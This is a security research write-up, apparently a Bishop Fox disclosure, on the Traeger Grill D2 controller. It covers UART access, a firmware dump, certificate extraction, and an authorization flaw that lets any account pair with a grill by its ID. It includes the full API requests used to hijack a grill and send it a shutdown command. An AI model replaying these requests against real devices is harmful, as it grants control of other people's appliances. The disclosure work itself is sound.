In this blog, we aim to provide additional context on how Bishop Fox staff discovered vulnerabilities in the Traeger Grill D2 Wi-Fi Controller product through a review of our product security review methodology.
After receiving the device, Bishop Fox staff removed the printed circuit board (PCB) from the casing and reviewed the components on the board. The PCB included an ESP32 device and a 10-pin interface.
The pin-out for the device was detailed on the ESP32 datasheet, as shown below:
As indicated in the diagram above, the TXD0 and RXD0 pins were responsible for UART connections. After tracing the pins on the board, it appeared that these UART pins had physical connections to the 10-pin interface. To confirm, Bishop Fox staff leveraged a multi-meter to check if there was continuity between the Transmit and Receive UART pins on the ESP32 device and the 10-pin interface, as shown below:
As shown above, the multi-meter displayed 100 ohms of resistance showing continuity between the Transmit and Receive UART pins and the 10-pin interface. The 100 ohms of resistance was likely due to the resistors on the back of the board which appeared to reside along the paths of the UART pins.
Bishop Fox staff made the appropriate hardware connections by connecting the Transmit ESP32 UART pin to the Receive UART pin of the Attify badge and the Receive ESP32 UART pin to the Transmit UART pin of the Attify badge.
Next, Bishop Fox staff monitored the serial connection using picocom and observed the following output from the device after booting it:
% sudo ~/Tools/picocom/picocom -b 115200 /dev/cu.usbserial-2 picocom v3.2a …omitted for brevity… Terminal ready ets Jul 29 2019 12:21:46 rst:0x1 (POWERON_RESET),boot:0x17 (SPI_FAST_FLASH_BOOT) configsip: 0, SPIWP:0xee clk_drv:0x00,q_drv:0x00,d_drv:0x00,cs0_drv:0x00,hd_drv:0x00,wp_drv:0x00 mode:DIO, clock div:2 load:0x3fff0018,len:4 load:0x3fff001c,len:5736 load:0x40078000,len:7916 load:0x40080000,len:5908 entry 0x40080314 I (29) boot: ESP-IDF v3.1.3-51-g39c6b2f90 2nd stage bootloader I (29) boot: compile time 12:02:40 I (30) boot: Enabling RNG early entropy source... I (35) boot: SPI Speed : 40MHz I (39) boot: SPI Mode : DIO I (43) boot: SPI Flash Size : 4MB I (47) boot: Partition Table: I (51) boot: ## Label Usage Type ST Offset Length I (58) boot: 0 nvs WiFi data 01 02 00009000 00010000 I (66) boot: 1 otadata OTA data 01 00 00019000 00002000 I (73) boot: 2 factory factory app 00 00 00020000 00100000 I (80) boot: 3 ota_0 OTA app 00 10 00120000 00100000 I (88) boot: 4 ota_1 OTA app 00 11 00220000 00100000 I (95) boot: 5 storage Unknown data 01 82 00320000 000e0000 I (103) boot: End of partition table I (107) esp_image: segment 0: paddr=0x00120020 vaddr=0x3f400020 size=0x2dee4 (188132) map I (181) esp_image: segment 1: paddr=0x0014df0c vaddr=0x3ffb0000 size=0x02104 ( 8452) load I (185) esp_image: segment 2: paddr=0x00150018 vaddr=0x400d0018 size=0xb4448 (738376) map I (444) esp_image: segment 3: paddr=0x00204468 vaddr=0x3ffb2104 size=0x04714 ( 18196) load I (451) esp_image: segment 4: paddr=0x00208b84 vaddr=0x40080000 size=0x00400 ( 1024) load I (452) esp_image: segment 5: paddr=0x00208f8c vaddr=0x40080400 size=0x11714 ( 71444) load I (499) boot: Loaded app from partition at offset 0x120000 I (499) boot: Disabling RNG early entropy source... I (500) cpu_start: Pro cpu up. I (503) cpu_start: Starting app cpu, entry point is 0x40081128 I (0) cpu_start: App cpu up. I (514) heap_init: Initializing. RAM available for dynamic allocation: I (521) heap_init: At 3FFAE6E0 len 00001920 (6 KiB): DRAM I (527) heap_init: At 3FFD0C30 len 0000F3D0 (60 KiB): DRAM I (533) heap_init: At 3FFE0440 len 00003BC0 (14 KiB): D/IRAM I (539) heap_init: At 3FFE4350 len 0001BCB0 (111 KiB): D/IRAM I (545) heap_init: At 40091B14 len 0000E4EC (57 KiB): IRAM I (552) cpu_start: Pro cpu start user code I (234) cpu_start: Starting scheduler on PRO CPU. …omitted for brevity…
As shown above, the UART connection was made successfully, and the device boot logs were displayed to the screen. Moreover, the device could be forced into a download state by connecting the GPIO pin of the device to ground, which ultimately allowed Bishop Fox staff to recover the firmware of the device.
After successfully establishing a UART connection to the device, Bishop Fox staff began interacting with the device to see what information was being logged. During the pairing process, the device hosted an HTTP server that was responsible for facilitating initial device communications with the mobile application. To demonstrate this, Bishop Fox staff captured HTTP traffic from both the mobile device and grill:
Request
POST /prod/pairing-sessions HTTP/2 Host: 1ywgyc65d1.execute-api.us-west-2.amazonaws.com Authorization: COGNITO_TOKEN …omitted for brevity… {"lat":37.421998,"long":-122.084,"thingName":"803428743EA7"}
Response
HTTP/2 200 OK Content-Type: application/json …omitted for brevity… {"pairingToken":"fde5f0f06d4aad2bd11d6ad66272fdeae2fa3c0ce8d9227a92ef8148fdddc8fc","thingName":"803428743EA7"}
As shown above, the mobile device first retrieved a pairing token for the grill which had a grill ID of 803428743EA7. After retrieving this token, the mobile application prompted the user to join the grill’s LAN to share network information and the pairing token.
Request
GET /connect.html HTTP/1.1 Host: mytraegergrill.net AWS-Pairing-Token: fde5f0f06d4aad2bd11d6ad66272fdeae2fa3c0ce8d9227a92ef8148fdddc8fc …omitted for brevity…
Response
HTTP/1.1 200 OK Content-Type: text/json {"networks": [{"ssid": "GrillMasterWiFi","sec_type": 3,"rssi": -46} …omitted for brevity…
The above request appeared to inform the mobile client of the networks that the grill could detect and connect to via its Wi-Fi interface. Following this, the mobile application issued an additional POST request to share the pairing token with the grill.
Request
POST /pairingtoken.html HTTP/1.1 AWS-Pairing-Token: fde5f0f06d4aad2bd11d6ad66272fdeae2fa3c0ce8d9227a92ef8148fdddc8fc …omitted for brevity… __SL_P_UN1=fde5f0f06d4aad2bd11d6ad66272fdea&__SL_P_UN2=e2fa3c0ce8d9227a92ef8148fdddc8fc
Response
HTTP/1.1 200 OK
The parameters from the above request reflect the pairing token split into two 32-character strings. Subsequently, the mobile application shared the network information to allow the grill to connect to the home network:
Request
POST /nothing.html HTTP/1.1 Host: mytraegergrill.net AWS-Pairing-Token: fde5f0f06d4aad2bd11d6ad66272fdeae2fa3c0ce8d9227a92ef8148fdddc8fc …omitted for brevity… __SL_P_USE=2&__SL_P_USD= GrillMasterWiFi&__SL_P_USG=1&__SL_P_USF=[REDACTED Wi-Fi Password]&__SL_P_USC=Add
Response
HTTP/1.1 200 OK
After receiving the network information, the grill connected to the specified Wi-Fi network and registered itself to AWS IoT. Notably, the registration interactions were TLS encrypted, but Bishop Fox staff bypassed this protective measure by patching the firmware and downgrading to HTTP. The registration can be seen in the following intercepted request:
Request
POST /certs HTTP/2 Host: durable-api.iot.traegergrills.io Authorization: fde5f0f06d4aad2bd11d6ad66272fdeae2fa3c0ce8d9227a92ef8148fdddc8fc …omitted for brevity… { "thingName": "803428743EA7", "csr": "-----BEGIN CERTIFICATE REQUEST-----\nMIICgTCCAWkCAQAwPDELMAkGA1UEBhMCVVMxEDAOBgNVBAoTB1RyYWVnZXIxGzAZ\nBgNVBAMTElRyYWVnZXIgSW9UIERldmljZTCCASIwDQYJKoZIhvcNAQEBBQADggEP\nADCCAQoCggEBAL4O20OYw2mDbk1kH/0cZ3h3ZxQhrYvZcPrQLBhsQOJ+c3D22ps9\ngAkf0j6XsOU7pIHX+xPDOpODaWX7OPq37RGjne8YbYy1p9PnMHYpnyajaCkXCjlW\nnWSJv51Cu36OBah4SAv+wd3v1l4oOXCFfiwAqobvqTxouKs1TkB47fRBSkI2OrLq\nR2qbYxZkCfi2lJiL3Gf/eB+1+uZumYYtjkKXe+WKGsbMw95aUr6BjX6i9Vv2x5lN\nKA8IEYDFZZ3vsxJUAbD0suh1Bmm6zRT9VmAbg65zWQMDaQi8T08hKVz1//rRqqo+\n3WffHdORnB6AyHTkiBizrTCmbJ1x2Dk06+UCAwEAAaAAMA0GCSqGSIb3DQEBCwUA\nA4IBAQADCxk3uJqgL9uquOGwXpaqCP34wASDulMitICb2FWy6IRQT9jfhpZufAjn\n43VU8QOPx3TGiAbQHmRWoN/D0y3+eGEytZ/UOvBAukclfQcsiGtz9wm77rT4oLsP\nXsu3cCfwKU90jUbAIKD/qjvVni7nF6EKpS70iwUn+0QVwGY5LlCyurdRKmH82ebP\nBctw3EviPOyv2XkjwEQTrfA26XNqv5RMewa951q7mZDLzP1KDWFXhR5aj+h7VKIS\nz5wzuh3/dXOjSvuSpMBqYKrKoG2bi2ItgoPS3uDT5i5BhldOTKiPo9w4UR3YyE1o\nCUIwgSarsz/b9ZtfO3CddRY1WFvx\n-----END CERTIFICATE REQUEST-----\n"
Response
HTTP/2 200 OK Content-Type: application/json …omitted for brevity… {"certificate":"-----BEGIN CERTIFICATE-----\nMIIDeDCCAmCgAwIBAgIVAL3s+ljpusLF05NHOtmnYD3f5D8pMA0GCSqGSIb3DQEB\nCwUAME0xSzBJBgNVBAsMQkFtYXpvbiBXZWIgU2VydmljZXMgTz1BbWF6b24uY29t\nIEluYy4gTD1TZWF0dGxlIFNUPVdhc2hpbmd0b24gQz1VUzAeFw0yMzEyMjUxNjMy\nMDRaFw00OTEyMzEyMzU5NTlaMDwxCzAJBgNVBAYTAlVTMRAwDgYDVQQKEwdUcmFl\nZ2VyMRswGQYDVQQDExJUcmFlZ2VyIElvVCBEZXZpY2UwggEiMA0GCSqGSIb3DQEB\nAQUAA4IBDwAwggEKAoIBAQC+DttDmMNpg25NZB/9HGd4d2cUIa2L2XD60CwYbEDi\nfnNw9tqbPYAJH9I+l7DlO6SB1/sTwzqTg2ll+zj6t+0Ro53vGG2MtafT5zB2KZ8m\no2gpFwo5Vp1kib+dQrt+jgWoeEgL/sHd79ZeKDlwhX4sAKqG76k8aLirNU5AeO30\nQUpCNjqy6kdqm2MWZAn4tpSYi9xn/3gftfrmbpmGLY5Cl3vlihrGzMPeWlK+gY1+\novVb9seZTSgPCBGAxWWd77MSVAGw9LLodQZpus0U/VZgG4Ouc1kDA2kIvE9PISlc\n9f/60aqqPt1n3x3TkZwegMh05IgYs60wpmydcdg5NOvlAgMBAAGjYDBeMB8GA1Ud\nIwQYMBaAFK5LcpMC+tMMCts/MFF8rCzyeGBbMB0GA1UdDgQWBBRlT2pg4UoHtTrF\nSckFkVZwPofFxjAMBgNVHRMBAf8EAjAAMA4GA1UdDwEB/wQEAwIHgDANBgkqhkiG\n9w0BAQsFAAOCAQEAmad1qCwQYzhAR7VqEHhI4X5p6yVQ+cSS6AF1a/zpPKJppwPQ\nStDCF9ewjZlsE9o6qnClOQV9UgCaxJmX6ZHHjEitPnF+jIafDlYOxboXGxh2Z661\n4sGsK3VEStfjNtnN10GdETAG7ThWmVXxOYml+ybWDUy2l9iw/pq6uuAZEtjcUxlh\nSQl9jphjMjadRYAPtoegBnCGvdpDGmnz90b9aIu7U1wCcgV7QEKX+xHArCH+e9Mr\nItUCrKpFXybhzBPtbLp/4s2fa9KsX5s5WshIrq9Q/Ee/a0rWqO2HwV+erWg87uGc\n1Vr8lRPuSWKwxqYG/Z35IS5gzUkhy0q1qJVjDg==\n-----END CERTIFICATE-----\n"}
The above certificate retrieved from the/certs API was subsequently downloaded and used by the device to facilitate secure mqtts communications with the server. This was further evidenced by the UART debug logs that Bishop Fox staff captured during the pairing process.
(364403) OtaDownloadInterface: HTTP POST data: { "thingName": "803428743EA7", "csr": "-----BEGIN CERTIFICATE REQUEST-----\nMIICgTCCAWkCAQAwPDELMAkGA1UEBhMCVVMxEDAOBgNVBAoTB1RyYWVnZXIxGzAZ\nBgNVBAMTElRyYWVnZXIgSW9UIERldmljZTCCASIwDQYJKoZIhvcNAQEBBQADggEP\nADCCAQoCggEBANAAmIO52U4v1K9DSUfbFL8jSMR/lUQzOch8cNtY9Dd99uyESIw1\ncyHHFgY5ZZWhdzxQWs3/OkDNURvZ/BLkQ++z0qQNTGDdeR+N7Rmb7d8xYkDEkMM6\nmEY9am/3BpfV0b9g7BMo+M410OrAqPCX/CZ01KqdHxCesBQNff81FYr3ccfouvZi\ngoUL8CaE4t98P7KvAOD2r8jXCGsZpMdbkFQbg5dB1fyWPr7qoJ+1l1xYNhRd80Ft\nsoy5Z2ZwAaDCqSsbLavDNnWYDV49PHVZ4PWckFrH6qVhJT+xGQEsutJB2Bf6HhgW\nRuweXAOFsQcb6M1HgW/JdfdvWF0O5KGSwPsCAwEAAaAAMA0GCSqGSIb3DQEBCwUA\nA4IBAQAAhSzZlfx54gzRSZHIg1rvRPN6/f6QSwoJVjRDSv85RTRXhR7znwPBX25e\nH547VKXH3wwu0vvboVFqFf+3AMyt9pIFJ5WMsj6BwgrOTVSqnmltWblvOJfWnK3V\nBGkWB+3OmgcHTx9kmg7NWGGtp0rldugy5h0Yr9cagvfDoV+3XvvFsfbtM1VT75Pg\n7xw6g2bhcBLtTSFUFRQ08PY6M4Sf93p7fyDO1M/Wff8SHy/heIr2Gbirp/+2WlDn\n4yLj4RHMiRqxEfcZSPOGmfIBIUqWxSUnKhGtGrVFgy8ybI7hwgtVuGRNcaNirB40\nrKMQ0/2eBV34A7u8kRiHG8Hbvgkr\n-----END CERTIFICATE REQUEST-----\n" } I (364507) OtaDownloadInterface: Connecting to https://durable-api.iot.traegergrills.io/certs …omitted for brevity… (366949) OtaDownloadInterface: HTTP_EVENT_ON_CONNECTED D (366953) OtaDownloadInterface: Writing POST data …omitted for brevity… OtaDownloadInterface: HTTP_EVENT_ON_HEADER D (368109) OtaDownloadInterface: HTTP_EVENT_ON_DATA, len=432 I (368341) FILE SYSTEM: File clientCert.pem exists: 0, File in use: 0 D (368541) OtaDownloadInterface: HTTP_EVENT_ON_DATA, len=512 D (368541) OtaDownloadInterface: HTTP_EVENT_ON_DATA, len=356 D (368542) OtaDownloadInterface: Writing value for certificate to file …omitted for brevity… I (368658) FILE SYSTEM: File path = /spiffs/clientCert.pem I (368664) FILE SYSTEM: Writing file I (368720) FILE SYSTEM: Opened file for write (binary mode): /spiffs/clientCert.pem D (368827) OtaDownloadInterface: HTTP_EVENT_DISCONNECTED D (368830) OtaDownloadInterface: HTTP_EVENT_DISCONNECTED I (368830) OtaDownloadInterface: Download completed cleanly: true. I (368836) FILE SYSTEM: Closed file: clientCert.pem I (368939) MqttConnectAndRun: Attempt #1 Cert download succeeded
As shown, the device generated a Certificate Signing Request (CSR) during the pairing process and wrote it to the /certs
API. Subsequently, the API responded with a certificate which was downloaded and written to /spiffs/clientCert.pem
. This certificate was then used by the mqtt
client to open an encrypted channel to the API.
At a high-level, the mqtt protocol follows a publisher/subscriber model. The subscriber (the grill) subscribed to a topic that the publisher (the API) posted messages to. Therefore, upon device boot, the grill connected via mqtts
(MQTT Secure) to the API and consumed messages which could include grill commands.
To demonstrate this, Bishop Fox staff imitated the grill’s mqtt client by dumping the generated certificates from the firmware and connecting to the API with their own mqtt
client. Since the firmware resided on an ESP32 device, esptool.py was used to dump the firmware after making the appropriate hardware connections. This tool was also used to confirm the size of the flash as shown below:
sudo esptool.py --port /dev/cu.usbserial-2 flash_id esptool.py v4.7.0 Serial port /dev/cu.usbserial-2 Connecting..... Detecting chip type... Unsupported detection protocol, switching and trying again... Connecting... Detecting chip type... ESP32 Chip is ESP32-D0WD-V3 (revision v3.0) Features: WiFi, BT, Dual Core, 240MHz, VRef calibration in efuse, Coding Scheme None Crystal is 40MHz MAC: 34:94:54:4a:97:54 Uploading stub... Running stub... Stub running... Manufacturer: 20 Device: 4016 Detected flash size: 4MB Hard resetting via RTS pin...
After determining the flash size, Bishop Fox staff used esptool.py to dump the firmware which had a size of 4MB.
% sudo esptool.py --port /dev/cu.usbserial-2 read_flash 0 0x400000 flash_contents.bin esptool.py v4.7.0 Serial port /dev/cu.usbserial-2 Connecting... Detecting chip type... Unsupported detection protocol, switching and trying again... Connecting... Detecting chip type... ESP32 Chip is ESP32-D0WD-V3 (revision v3.0) Features: WiFi, BT, Dual Core, 240MHz, VRef calibration in efuse, Coding Scheme None Crystal is 40MHz MAC: 34:94:54:4a:97:54 Stub is already running. No upload is necessary. 4194304 (100 %) 4194304 (100 %) Read 4194304 bytes at 0x00000000 in 387.7 seconds (86.6 kbit/s)... Hard resetting via RTS pin...
According to ESP32 documentation, ESP32 firmware is divided into several partitions to enable multiple apps to be flashed to the device. Fortunately, tooling exists for dumping ESP32 partitions as well as the partition table. By using esp32_image_parser.py
, Bishop Fox staff retrieved the partition table as shown below:
% python3 ~/Tools/esp32_image_parser/esp32_image_parser.py show_partitions flash_contents.bin reading partition table... entry 0: label : nvs offset : 0x9000 length : 65536 type : 1 [DATA] sub type : 2 [WIFI] …omitted for brevity… entry 4: label : ota_1 offset : 0x220000 length : 1048576 type : 0 [APP] sub type : 17 [ota_1] entry 5: label : storage offset : 0x320000 length : 917504 type : 1 [DATA] sub type : 130 [unknown]
The certificates were located in the storage partition which begins at the 0x320000 memory address.
% python3 ~/Tools/esp32_image_parser/esp32_image_parser.py dump_partition ./flash_contents.bin -p storage Dumping partition 'storage' to storage_out.bin
After dumping the storage partition, Bishop Fox staff retrieved the certificates using mkspiffs
.
% ~/Tools/mkspiffs/mkspiffs ./storage_out.bin -u ./dest Directory ./dest does not exists. Try to create it. /currentConfig.txt > ./dest/currentConfig.txtsize: 1398 Bytes /clientCert.key > ./dest/clientCert.keysize: 1679 Bytes /clientCert.pub > ./dest/clientCert.pubsize: 451 Bytes /clientCert.pem > ./dest/clientCert.pemsize: 1261 Bytes
As shown above, the client certificates have been successfully retrieved from the firmware.
Next, Bishop Fox staff used mqttx
(an mqtt
client) to imitate the grill and connect to the API endpoint. The client was configured to leverage the extracted certificates to initiate the secure mqtts
connection.
Additionally, Bishop Fox staff subscribed to the prod/803428743EA7/run_cmd topic within the client which the grill used to receive commands. To validate this connection, Bishop Fox staff launched the mobile app and intercepted one of the commands.
Request
POST /prod/things/803428743EA7/commands HTTP/2 Host: 1ywgyc65d1.execute-api.us-west-2.amazonaws.com Authorization: [COGNITO_TOKEN] …omitted for brevity… { "command" : "112,60" }
Response
HTTP/2 200 OK Content-Type: application/json; charset=utf-8 …omitted for brevity… {}
Next, Bishop Fox staff observed that the command had been successfully received by the mqttx
client:
With this valid connection, Bishop Fox staff could now test for authorization issues and validate whether the grill could receive commands from unauthorized users. To test this, Bishop Fox staff registered an entirely new Traeger account via the mobile application. Next, using the new account, Bishop Fox staff attempted to register the grill under the account that should not have access to it:
Request
POST /prod/pairing-sessions HTTP/2 Host: 1ywgyc65d1.execute-api.us-west-2.amazonaws.com Authorization: [NEW_COGNITO_TOKEN] …omitted for brevity… {"thingName":"803428743EA7"}
Response
HTTP/2 200 OK Content-Type: application/json …omitted for brevity… {"pairingToken":"33e6099c4d36a84e7081954624110d1921d281f3d6d8766410ef4a21604644e9","thingName":"803428743EA7"}
As shown above, Bishop Fox staff retrieved a new pairingToken
for the grill specifying the same grill ID. Next, Bishop Fox staff sent a subsequent request to the /certs
API to complete the grill pairing process, using a self-signed certificate signing request to show that the certificate generated by the device was not needed.
Request
POST /certs HTTP/2 Host: durable-api.iot.traegergrills.io Authorization: 33e6099c4d36a84e7081954624110d1921d281f3d6d8766410ef4a21604644e9 …omitted for brevity… { "thingName": "803428743EA7", "csr": "-----BEGIN CERTIFICATE REQUEST-----\nMIICqDCCAZACAQAwYzELMAkGA1UEBhMCVVMxCzAJBgNVBAgMAkhXMQowCAYDVQQHDAFhMSEwHwYDVQQKDBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQxCjAIBgNVBAsMAWQxDDAKBgNVBAMMA2JvYjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAPueyA6os9H7V7T65nd8rm5mTrbpSSFYFheRYN3aaZ8gvROWUJnz3b6EKKzSwBWaQCJEAY1fMsicAMuOpq+u6YMFq1utda4uLaVRzGfbJBIKMOAAYaoC/lp8iwA0Z3HRUWx/kVO2shBal7mm7kgq+i9vGf/k2qG2Phx/aqvcaJpsKskTt9pz5GdYpBKav8FEg2YW601JXEY4+MIylDbU3Y0DAdSftYzaYk7Ol64eqGz/1DRaww5VNAaRz5TdIYaKbalphLr7rPwaui76pmbgNLXzMXnhwQeh4nwn0ObdwWX+OOBRTmKM8vg6r+AqRR4tkZFX7qGU3rXsC3S29lA48I8CAwEAAaAAMA0GCSqGSIb3DQEBCwUAA4IBAQA+J4qAwpvur1AM2XPKSE7aOM1+E5Rbn7uSpjuROc5Q7O764kGNsptJaUgX8PrS4OW3O1n9sQOHbLF6Qya4ay2MUPApvekw5OwmaNY1YnTquhPlGy11Dad5smuyrEMN7Zl5GGH2F0/q3pa2Jt7cnLWj2gfFIMC8d3HxFNTPbf/ZhJnE1eElwtNS0DFkrTbgDRo3Smu+BjLljMFRVonbfZefBxrIEx8ghgVzyKMJe0w7C9e6Mt4so2OJTuh2MGZmRa1IaeSm0tND5JS/YdLcXm58O7b9M61uKMgOyerxbiTp/LyaHlUmoVIElcGGz2R/WHi5pLuHKsxscbqX//mo2lnS\n-----END CERTIFICATE REQUEST-----\n" }
Response
HTTP/2 200 OK Content-Type: application/json …omitted for brevity… {"certificate":"-----BEGIN CERTIFICATE-----\nMIIDnjCCAoagAwIBAgIULItWQDaaBwZJXb9djdZQZIU4b7owDQYJKoZIhvcNAQEL\nBQAwTTFLMEkGA1UECwxCQW1hem9uIFdlYiBTZXJ2aWNlcyBPPUFtYXpvbi5jb20g\nSW5jLiBMPVNlYXR0bGUgU1Q9V2FzaGluZ3RvbiBDPVVTMB4XDTIzMTIyODE1NDQ1\nNloXDTQ5MTIzMTIzNTk1OVowYzELMAkGA1UEBhMCVVMxCzAJBgNVBAgMAkhXMQow\nCAYDVQQHDAFhMSEwHwYDVQQKDBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQxCjAI\nBgNVBAsMAWQxDDAKBgNVBAMMA2JvYjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC\nAQoCggEBAPueyA6os9H7V7T65nd8rm5mTrbpSSFYFheRYN3aaZ8gvROWUJnz3b6E\nKKzSwBWaQCJEAY1fMsicAMuOpq+u6YMFq1utda4uLaVRzGfbJBIKMOAAYaoC/lp8\niwA0Z3HRUWx/kVO2shBal7mm7kgq+i9vGf/k2qG2Phx/aqvcaJpsKskTt9pz5GdY\npBKav8FEg2YW601JXEY4+MIylDbU3Y0DAdSftYzaYk7Ol64eqGz/1DRaww5VNAaR\nz5TdIYaKbalphLr7rPwaui76pmbgNLXzMXnhwQeh4nwn0ObdwWX+OOBRTmKM8vg6\nr+AqRR4tkZFX7qGU3rXsC3S29lA48I8CAwEAAaNgMF4wHwYDVR0jBBgwFoAUy24K\n2Wfaa9J+S7BMJ/Wv+esVvlEwHQYDVR0OBBYEFIwGcb+YrXxEOZcPPiFmkclhSGLT\nMAwGA1UdEwEB/wQCMAAwDgYDVR0PAQH/BAQDAgeAMA0GCSqGSIb3DQEBCwUAA4IB\nAQB1GEi1fKXwUgBI0VDZ0RFVSQCtFH1MeMPE+htPOuoxBvztefiywDozQR4V2no8\nEmxDp5a4W/9Y0Xs+PAXU1AtgpfQWpwR0sxcdOSPW8x6jNv9f5Laj+mcbiQapw1ab\n5BjizgV4eKCTrUYC37oFN/kAmwZDDw+0s4a1VfO2vvy43/YtYsPUk840moPywoz+\n9aIJwgXFqmmt3YNwV5hRg0c7VXbfW2zy50BuqZlU9jDyu5d88u3xU3M1YHTbTGDp\nhg4ByM52/Ve9zs/Ge0nGQuXM8gE1lNZvYsDxVvCQlJSRgGU+EypSGt7UjSOvIwu6\nrnMvo4g8qaJVN4okrnQdqLzW\n-----END CERTIFICATE-----\n"}
As shown above, the API accepted the request. Additionally, this did not affect the current certificate configuration of the mqtts connection as the device could still connect. After calling /certs
, the grill was now also associated with the new Cognito identity, and Bishop Fox staff could issue commands to it.
Request
POST /prod/things/803428743EA7/commands HTTP/2 Host: 1ywgyc65d1.execute-api.us-west-2.amazonaws.com Authorization: [NEW_COGNITO_TOKEN] …omitted for brevity… { "command" : "15" }
Response
HTTP/2 200 OK Content-Type: application/json; charset=utf-8 …omitted for brevity… {}
As shown above, the API accepted the command and did not respond with any authorization errors. Next, Bishop Fox staff observed that the mqtts
client had successfully received the command:
As shown above, the mqtt client successfully received grill commands from the account that should not have access. To confirm this worked with a real grill, Bishop Fox staff collaborated with another consultant who owned a Traeger grill with a grill ID of XXXXXXXXF79B
. Using the Traeger APIs, Bishop Fox staff attempted to associate the grill with their Cognito identity.
Request
POST /prod/pairing-sessions HTTP/2 Host: 1ywgyc65d1.execute-api.us-west-2.amazonaws.com Authorization: [COGNITO_TOKEN] …omitted for brevity… {"thingName":"XXXXXXXXF79B"}
Response
HTTP/2 200 OK Content-Type: application/json …omitted for brevity… {"pairingToken":"daf7b23595e63dddc5e1f0c4d989e3e107ba620c75df4bd0066b7fe3f1603da6","thingName":"XXXXXXXXF79B"}
After retrieving the pairing token, Bishop Fox staff issued a subsequent request to the /certs
API specifying the new thingName and pairingToken.
Request
POST /certs HTTP/2 Host: durable-api.iot.traegergrills.io Authorization: daf7b23595e63dddc5e1f0c4d989e3e107ba620c75df4bd0066b7fe3f1603da6 …omitted for brevity… { "thingName": "XXXXXXXXF79B", "csr": "-----BEGIN CERTIFICATE REQUEST-----\nMIICqDCCAZACAQAwYzELMAkGA1UEBhMCVVMxCzAJBgNVBAgMAkhXMQowCAYDVQQHDAFhMSEwHwYDVQQKDBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQxCjAIBgNVBAsMAWQxDDAKBgNVBAMMA2JvYjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAPueyA6os9H7V7T65nd8rm5mTrbpSSFYFheRYN3aaZ8gvROWUJnz3b6EKKzSwBWaQCJEAY1fMsicAMuOpq+u6YMFq1utda4uLaVRzGfbJBIKMOAAYaoC/lp8iwA0Z3HRUWx/kVO2shBal7mm7kgq+i9vGf/k2qG2Phx/aqvcaJpsKskTt9pz5GdYpBKav8FEg2YW601JXEY4+MIylDbU3Y0DAdSftYzaYk7Ol64eqGz/1DRaww5VNAaRz5TdIYaKbalphLr7rPwaui76pmbgNLXzMXnhwQeh4nwn0ObdwWX+OOBRTmKM8vg6r+AqRR4tkZFX7qGU3rXsC3S29lA48I8CAwEAAaAAMA0GCSqGSIb3DQEBCwUAA4IBAQA+J4qAwpvur1AM2XPKSE7aOM1+E5Rbn7uSpjuROc5Q7O764kGNsptJaUgX8PrS4OW3O1n9sQOHbLF6Qya4ay2MUPApvekw5OwmaNY1YnTquhPlGy11Dad5smuyrEMN7Zl5GGH2F0/q3pa2Jt7cnLWj2gfFIMC8d3HxFNTPbf/ZhJnE1eElwtNS0DFkrTbgDRo3Smu+BjLljMFRVonbfZefBxrIEx8ghgVzyKMJe0w7C9e6Mt4so2OJTuh2MGZmRa1IaeSm0tND5JS/YdLcXm58O7b9M61uKMgOyerxbiTp/LyaHlUmoVIElcGGz2R/WHi5pLuHKsxscbqX//mo2lnS\n-----END CERTIFICATE REQUEST-----\n" }
Response
HTTP/2 200 OK Content-Type: application/json …omitted for brevity… {"certificate":"-----BEGIN CERTIFICATE-----\nMIIDnzCCAoegAwIBAgIVAJjiNeO0iQb6uEBVsJWLGgPFSyHiMA0GCSqGSIb3DQEB\nCwUAME0xSzBJBgNVBAsMQkFtYXpvbiBXZWIgU2VydmljZXMgTz1BbWF6b24uY29t\nIEluYy4gTD1TZWF0dGxlIFNUPVdhc2hpbmd0b24gQz1VUzAeFw0yMzEyMjkyMTM5\nMTNaFw00OTEyMzEyMzU5NTlaMGMxCzAJBgNVBAYTAlVTMQswCQYDVQQIDAJIVzEK\nMAgGA1UEBwwBYTEhMB8GA1UECgwYSW50ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMQow\nCAYDVQQLDAFkMQwwCgYDVQQDDANib2IwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw\nggEKAoIBAQD7nsgOqLPR+1e0+uZ3fK5uZk626UkhWBYXkWDd2mmfIL0TllCZ892+\nhCis0sAVmkAiRAGNXzLInADLjqavrumDBatbrXWuLi2lUcxn2yQSCjDgAGGqAv5a\nfIsANGdx0VFsf5FTtrIQWpe5pu5IKvovbxn/5Nqhtj4cf2qr3GiabCrJE7fac+Rn\nWKQSmr/BRINmFutNSVxGOPjCMpQ21N2NAwHUn7WM2mJOzpeuHqhs/9Q0WsMOVTQG\nkc+U3SGGim2paYS6+6z8Grou+qZm4DS18zF54cEHoeJ8J9Dm3cFl/jjgUU5ijPL4\nOq/gKkUeLZGRV+6hlN617At0tvZQOPCPAgMBAAGjYDBeMB8GA1UdIwQYMBaAFDs+\nx7e9MVP5WVrTFdjYaMA6B3rxMB0GA1UdDgQWBBSMBnG/mK18RDmXDz4hZpHJYUhi\n0zAMBgNVHRMBAf8EAjAAMA4GA1UdDwEB/wQEAwIHgDANBgkqhkiG9w0BAQsFAAOC\nAQEAQc5zXuxgl1/6Bj3Bq6l/mO7u+/kV97ntVyNoEEbg+QGneXe3Xp/Ti7Q66Vb5\nNNaJQrufWzIzbtvWLJpyHAVLw3Mrg9sp6Ity9snpJYy220U3IYUcrUu/H0nOfz//\nY0mez7kPTBbN/Iiq74L30+dhg1sRN8TLfZpgnQoaSSH3/Nj/mPALE/d57q2BPrym\n8KrqyIhtF7SI55FqrMGgS42R5TRJaiRn0wnDll41e/gNc8oLFicSYuhh2QegiYTN\nAQ9CeMBf3bKFIVkl6eTwd0qNyJClm8uKBhzChpOk9zOYWYwHhwnR44ny5SOmrD/+\nVz9wN4QqaKwOOhcObYJ5qqXReA==\n-----END CERTIFICATE-----\n"}
Following this, Bishop Fox staff observed that the consultant’s grill was now registered in their Traeger app, and it appeared that Bishop Fox staff could now send commands to it. To confirm, Bishop Fox staff issued a command to shut down the grill.
